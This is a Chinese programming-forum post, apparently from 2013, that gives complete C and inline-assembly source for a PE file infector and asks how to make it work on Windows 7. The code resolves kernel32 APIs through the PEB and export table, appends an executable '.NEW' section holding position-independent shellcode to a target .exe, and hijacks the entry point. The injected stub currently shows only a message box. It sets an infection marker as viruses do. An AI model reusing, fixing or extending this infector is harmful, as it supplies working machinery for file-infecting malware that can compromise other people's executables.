鱼C论坛

 找回密码
 立即注册
查看: 2339|回复: 0

关于PE文件感染

[复制链接]
发表于 2013-10-1 20:51:40 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
这是一个向PE文件中插入可执行程序的代码,在vc的release下生成可在XP下正常插入,可是在WIN7下插入到exe中就导致文件无法正常运行了,请大神看看,怎么改,使它可以在win7下运行
#include <windows.h>
#include<stdio.h>
#pragma data_seg(".mydat")
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")
#pragma comment(linker,"/MERGE:.mydat=.shell")
#pragma comment(linker,"/MERGE:.constdata=.shell")
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/ENTRY:main")   
#pragma comment(linker, "/subsystem:windows")
#define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax            //代码重定位
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax            //函数地址重定位
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax    //字符串重定位
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax  //全局变量重定位后赋给局部变量
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END -2
#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define MZ_FLAG 23117
#define PE_FLAG 17744
#define INFECTFLAG 19901117          //感染标记
void GetKernellFun();
int InvokeGlobal(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...);
typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool Strcmp(char* szSrc, char* szDes);
//感染代码从此处开始
DWORD dwOldEntry = 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要运行程序吗?";
char szCaption[] = "CIW_BLUE Code";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";
DWORD dwLoadLibrary = 0;
DWORD dwGetProcAddress = 0;
void CodeBegin()
{
    Recode(A)                 //代码重定位
    GetKernellFun();
    DWORD dwOldAddr = 0;
    GetGlobalVar(dwOldEntry, dwOldAddr);  //变量重定位
//插入代码的核心功能,此处调用MessageBoxA(),显示对话框
    if(InvokeGlobal("User32", "MessageBoxA", "nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
    {
       InvokeGlobal(szKernel32, szExitProcess, "n", 0, VA_END);        //调用ExitProcess()
    }
    _asm
    {
       jmp dwOldAddr
    }
}
//根据输入的动态链接库和API名称及参数,调用该API.参数不定
int InvokeGlobal(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...)
{
    Recode(A)      //代码重定位
    char*pTempFunName = pGlobalDllName;
    GetStringOffset(pGlobalDllName);        //字符串重定位
    GetStringOffset(pGlobalFunName);
    GetStringOffset(pGlobalAgrFmt);
//  XP下kernel32.dll的基地址
//   DWORD dwLoadLib = 0x7c800000;
//   DWORD dwGetProcAddr = 0x7c80000;
//kernel32.dll BaseAddress
DWORD dwLoadLib = 0x75330000;
    DWORD dwGetProcAddr = 0x75330000;
    GetGlobalVar(dwLoadLibrary, dwLoadLib);    //全局变量重定位后赋给局部变量
    GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
    HMODULE hDll = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName);      //加载动态链接库
    PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName); //获得目标API地址
    DWORD dwRet = 0, j = 0;
    DWORD dwParam[128], dwParamTemp = 0;    //参数数组
    DWORD dwParamLen = 0;
    va_list stVaList;         //是在C语言中解决变参问题的一组宏
    va_start(stVaList, pGlobalAgrFmt);            //获取可变参数列表的第一个参数的地址
    while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD)) != VA_END)
  ;
    dwParamLen -= 2;
    while(dwParamLen != -1)
    {
       dwParamTemp = dwParam[dwParamLen];
  
       if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
        GetStringOffset(dwParamTemp);   //字符串重定位
  
       _asm push dwParamTemp           //依次把参数压栈
   
        dwParamLen--;
    }
    _asm mov eax, dwFunAddr
    _asm call eax                //调用目标函数
    _asm mov dwRet, eax
    va_end(stVaList);
    return dwRet;
}
//获取Kernel32基地址,并搜索 LoadLibraryA() 和 GetProcAddress() 地址
void GetKernellFun()
{
    Recode(A)//代码重定位
  
    char* pLoadLibrary = szLoadLibrary;
    char* pGetProcAddress = szGetProcAddress;
    DWORD dwFuncAddr = 0;
    GetStringOffset(pLoadLibrary);
    GetStringOffset(pGetProcAddress);     //字符串重定位
    IMAGE_DOS_HEADER* stDos;
    IMAGE_NT_HEADERS* stNT;
    IMAGE_DATA_DIRECTORY* stDatDir = 0;
    IMAGE_EXPORT_DIRECTORY* stEPT;
    DWORD dwKernelBase = 0;
    _asm                                                //采取PEB方法获取Kernel32.dll的基地址,FS寄存器存储了TEB结构
    {
        mov eax,dword ptr fs:[30h]                      //PEB结构首地址
        mov eax,dword ptr [eax+0Ch]                      //PEB_LDR_DATA结构
        mov esi,dword ptr [eax+1Ch]                     //Ntdll.dll基地址
        lods dword ptr [esi]
        mov eax,dword ptr [eax+08h]                     //Kernel32.dll的基地址
        mov dwKernelBase, eax
    }
    char *pBase = (char*)dwKernelBase;
    stDos = (IMAGE_DOS_HEADER*)dwKernelBase;           //Kernel32.dll的DOS头PE头
    stNT = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);  //PE头
    stDatDir = &stNT->OptionalHeader.DataDirectory[0];   //数据目录项
    stEPT = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);  //导出表
//导出函数地址
    DWORD* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
    DWORD* dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
    WORD* dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
    for(int i = 0; i < stEPT->NumberOfNames; i++)
    {
       if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
           break;
    }
     WORD* pwBase = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
     int nFunIndex = pwBase[i] + stEPT->Base;
     dwFuncAddr = dwFunAddr[nFunIndex-1];
    _asm
    {
        Recode(B)
        mov eax, dwFuncAddr
        add eax, dwKernelBase
        mov [ebx + dwLoadLibrary], eax              //dwLoadLibrary得到LoadLibrary的地址
    }

    for(i = 0; i < stEPT->NumberOfNames; i++)
    {
       if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
        break;
    }
     nFunIndex = pwBase[i] + stEPT->Base;
     dwFuncAddr = dwFunAddr[nFunIndex-1];
    _asm
    {
        Recode(C)
        mov eax, dwFuncAddr
        add eax, dwKernelBase
        mov [ebx + dwGetProcAddress], eax       //dwGetProcAddress得到GetProcAddress
    }
}

//比较函数名
bool Strcmp(char* szSrc, char* szDes)
{
    while(*szSrc && *szDes && *szSrc == *szDes)
    {
       szSrc++, szDes++;
    }
    return *szSrc - *szDes;
}
//判断是否是PE文件
bool IsPeFile(PVOID pPeBase)
{
    IMAGE_DOS_HEADER* stDos = (DOS*)pPeBase;
    IMAGE_NT_HEADERS* stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
    if(stDos->e_magic != MZ_FLAG)
       return false;
    if(stNT->Signature != PE_FLAG)
       return false;
    return true;
}
//感染代码从此处结束
void CodeEnd()
{
}
//字节对齐
int Align(int nSize, int n)
{
    if(nSize % n)
       return (nSize / n + 1) * n;
    return nSize;
}
//是否已被感染,参数为映射地址空间的首地址
BOOL IsInfected(PVOID pHdr)
{
    IMAGE_DOS_HEADER *p = (IMAGE_DOS_HEADER*)pHdr;
    //判断DOS头的保留位是否已被填充为 19901117
    if ( p->e_res2[0] == (WORD)INFECTFLAG)//e_res2 保留字,一般用来填写是否被改写
    {
        return TRUE;
    }
    else
    {
        p->e_res2[0] = (WORD)INFECTFLAG;
        return FALSE;
    }
}
int main()
{
    //感染的代码长度
    DWORD dwCodeSize = (DWORD)CodeEnd - (DWORD)&dwOldEntry;  //CodeEnd为感染代码的末位置指针,dwOldEntry为感染代码的初位置指针
DWORD dwSize = 0;
DWORD dwOldEntry1 = 0;
    HANDLE hFile = CreateFile("D:\\1.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);    //打开将要感染的文件      
    HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);                                           //创建文件映射对象
    PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);      //映射文件映射对象
    if(!pFile)
{
  printf("Error pFile!");
  CloseHandle(hMapFile);//关闭文件映射对象
        CloseHandle(hFile);//关闭文件句柄
        return 0;
}
    if(!IsPeFile(pFile))
{
  printf("This isn't PE File!");
  UnmapViewOfFile(pFile);//在当前应用程序的内存地址空间解除对文件映射对象的映射
        CloseHandle(hMapFile);
        CloseHandle(hFile);
        return 0;
}
//PE头指针= 文件头指针+DOS头的e_lfanew位指定的PE头偏移
    IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
//节区头指针= PE头指针+PE头的长度  因为PE后即为区块表
    IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
//判断是否已被感染,利用节名
    for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
{
       if(!memcmp(stSec[i].Name, ".NEW", 4))
    {
     return 0;
    }
}
    IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];   //原文件节表中最后一节的指针
    IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];    //新建节的指针
    DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;        //FileAlignment为文件区块对齐值
    DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;     //SectionAlignment为内存中区块对齐值    即区块的大小必须为它们的整数倍
    stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;     //新文件的节的个数
   
    strcpy((char*)stNewSec->Name, ".NEW");     //新节的名称
//设置新节的属性,内存地址,偏移,实际大小,原始内存大小(未对齐)
//IMAGE_SCN_MEM_EXECUTE 内存页可执行
    //IMAGE_SCN_MEM_READ 内存页可读
    //IMAGE_SCN_MEM_WRITE 内存页可写
    //IMAGE_SCN_CNT_CODE 包含代码
    stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
    stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
    stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
    stNewSec->SizeOfRawData = (dwCodeSize >> 1) ;
    stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
   
//修正PE镜像大小
    stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;       //SizeOfCode 区块总大小
    stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;      //SizeOfImage为PE映像装入内存后的总大小
   
   
    SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);      //该块在磁盘中的偏移
    WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);   //写入感染代码
    SetEndOfFile(hFile);
   
//设置新的入口点
    dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;//原来的入口=基地址+入口相对于头指针的偏移量,AddressOfEntryPoint为文件被执行时的入口地址,ImageBase为文件默认装入的基地址
    SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
    WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);
   
    stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)CodeBegin - (DWORD)&dwOldEntry; //将设置新的PE入口点
   
    FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);       //将写入文件映射缓冲区的所有数据都刷新到磁盘
   
    UnmapViewOfFile(pFile);         //解除映射
    CloseHandle(hMapFile);
    CloseHandle(hFile);
   
    return 0;
}

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-11-22 04:17

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表